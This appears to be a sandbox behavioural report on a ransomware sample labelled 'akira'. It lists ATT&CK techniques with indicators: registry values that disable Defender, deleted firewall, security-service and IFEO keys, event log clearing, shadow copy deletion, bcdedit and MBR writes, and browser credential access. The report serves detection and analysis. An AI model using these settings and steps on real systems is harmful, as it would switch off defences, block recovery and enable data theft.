817db77d1a409ea07b538b7b47e8715cfe682e947f02ec9c01309cb8cc45f7e9

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe

Modifies firewall policy service 3 TTPs 25 IoCs

Modify Registry

Windows Service

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\DynamicKeywords	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedInterfaces	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DynamicKeywords	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\DynamicKeywords\Addresses\NonAutoResolve	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\HyperVFirewallPolicy	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile\Logging	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\TenantRestrictions	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DynamicKeywords\Addresses\AutoResolve	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\HyperVVMCreators	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\DynamicKeywords\Addresses\AutoResolve	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\AppIso\FirewallRules	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\AppIso	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DynamicKeywords\Addresses\NonAutoResolve	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\HyperVFirewallPolicy	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedInterfaces\IfIso	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\Configurable	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\Logging	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\Logging	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DynamicKeywords\Addresses	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\DynamicKeywords\Addresses	reg.exe

Modifies security service 2 TTPs 7 IoCs

Modify Registry

Windows Service

defense_evasion ransomware

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mpssvc\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

Clears Windows event logs 1 TTPs 3 IoCs

Clear Windows Event Logs

T1070.001

pid	Process
3700	wevtutil.exe
4844	wevtutil.exe
3012	wevtutil.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 7 IoCs

resource	yara_rule
behavioral2/memory/4456-4-0x00007FF6445C0000-0x00007FF644695000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/944-60-0x00007FF6445C0000-0x00007FF644695000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/944-152-0x00007FF6445C0000-0x00007FF644695000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/944-224-0x00007FF6445C0000-0x00007FF644695000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/944-226-0x00007FF6445C0000-0x00007FF644695000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/944-232-0x00007FF6445C0000-0x00007FF644695000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/944-241-0x00007FF6445C0000-0x00007FF644695000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Detects executables referencing many IR and analysis tools 7 IoCs

resource	yara_rule
behavioral2/memory/4456-4-0x00007FF6445C0000-0x00007FF644695000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/944-60-0x00007FF6445C0000-0x00007FF644695000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/944-152-0x00007FF6445C0000-0x00007FF644695000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/944-224-0x00007FF6445C0000-0x00007FF644695000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/944-226-0x00007FF6445C0000-0x00007FF644695000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/944-232-0x00007FF6445C0000-0x00007FF644695000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/944-241-0x00007FF6445C0000-0x00007FF644695000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools

Modifies boot configuration data using bcdedit 1 TTPs 10 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2828	bcdedit.exe
6088	bcdedit.exe
3556	bcdedit.exe
4752	bcdedit.exe
3340	bcdedit.exe
5436	bcdedit.exe
2200	bcdedit.exe
3660	bcdedit.exe
5696	bcdedit.exe
1400	bcdedit.exe

Disables Task Manager via registry modification
defense_evasion

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

Disable or Modify Tools

pid	Process
3048	powershell.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 53 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrServicesUpdater.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sdxhelper.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows10universal.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\outlook.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PresentationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrCEF.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winword.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wordconv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\graph.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ielowutil.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mscorsvw.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msohtmed.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosrec.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolsv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cnfnot32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\orgchart.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PrintIsolationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VirtualBoxVM.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieUnatt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msfeedssync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngen.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powerpnt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setlang.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excel.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excelcnv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ie4uinit.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MRT.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoadfsb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngentask.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32Info.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clview.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ExtExport.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieinstal.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoasb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoxmled.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenotem.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\splwow64.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\runtimebroker.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanpst.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\selfcert.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VirtualBox.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msqry32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenote.exe	reg.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3048	powershell.exe

Indicator Removal: Clear Persistence 1 TTPs 53 IoCs

remove IFEO.

Clear Persistence

T1070.009

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sdxhelper.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\splwow64.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows10universal.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoxmled.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msqry32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngentask.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrCEF.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolsv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VirtualBox.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winword.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MRT.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wordconv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clview.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ie4uinit.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PrintIsolationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\selfcert.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excelcnv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\outlook.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PresentationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setlang.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VirtualBoxVM.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cnfnot32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excel.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ExtExport.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\graph.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieinstal.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msfeedssync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msohtmed.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosrec.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32Info.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieUnatt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoadfsb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngen.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\orgchart.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanpst.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ielowutil.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mscorsvw.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoasb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenotem.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powerpnt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\runtimebroker.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenote.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrServicesUpdater.exe	reg.exe

Maps connected drives based on registry 3 TTPs 3 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Power Settings 1 TTPs 1 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
3160	powercfg.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	reagentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	reagentc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2786392678-1011493168-3329660577-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\boykisser_wallpaper.jpg"	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4832	sc.exe
1460	sc.exe
4276	sc.exe
3500	sc.exe
4108	sc.exe
3228	sc.exe
5836	sc.exe
5216	sc.exe
1148	sc.exe
3368	sc.exe
260	sc.exe
4340	sc.exe
3604	sc.exe
5016	sc.exe
5312	sc.exe
6028	sc.exe
4900	sc.exe
5908	sc.exe
5892	sc.exe
1796	sc.exe
5784	sc.exe
3436	sc.exe
4988	sc.exe
5848	sc.exe
3320	sc.exe
404	sc.exe
472	sc.exe
1836	sc.exe
4380	sc.exe
2172	sc.exe
2112	sc.exe
4952	sc.exe
2844	sc.exe
1652	sc.exe
1348	sc.exe
2996	sc.exe
4036	sc.exe
3364	sc.exe
4000	sc.exe
2080	sc.exe
5696	sc.exe
1280	sc.exe
1048	sc.exe
1460	sc.exe
4780	sc.exe
5644	sc.exe
5988	sc.exe
124	sc.exe
2952	sc.exe
4904	sc.exe
2996	sc.exe
5180	sc.exe
4736	sc.exe
4868	sc.exe
5840	sc.exe
3472	sc.exe
1980	sc.exe
5456	sc.exe
1968	sc.exe
6128	sc.exe
3116	sc.exe
5804	sc.exe
5336	sc.exe
5852	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4300	vssadmin.exe

Modifies registry key 1 TTPs 10 IoCs

Modify Registry

pid	Process
4520	reg.exe
5636	reg.exe
3816	reg.exe
3452	reg.exe
3524	reg.exe
6028	reg.exe
1656	reg.exe
4160	reg.exe
5552	reg.exe
1588	reg.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
1360	powershell.exe
1360	powershell.exe
944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe
944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe
944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe
944	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe
3048	powershell.exe
3048	powershell.exe
2284	wmic.exe
2284	wmic.exe
2284	wmic.exe
2284	wmic.exe
3524	wmic.exe
3524	wmic.exe
3524	wmic.exe
3524	wmic.exe
3956	wmic.exe
3956	wmic.exe
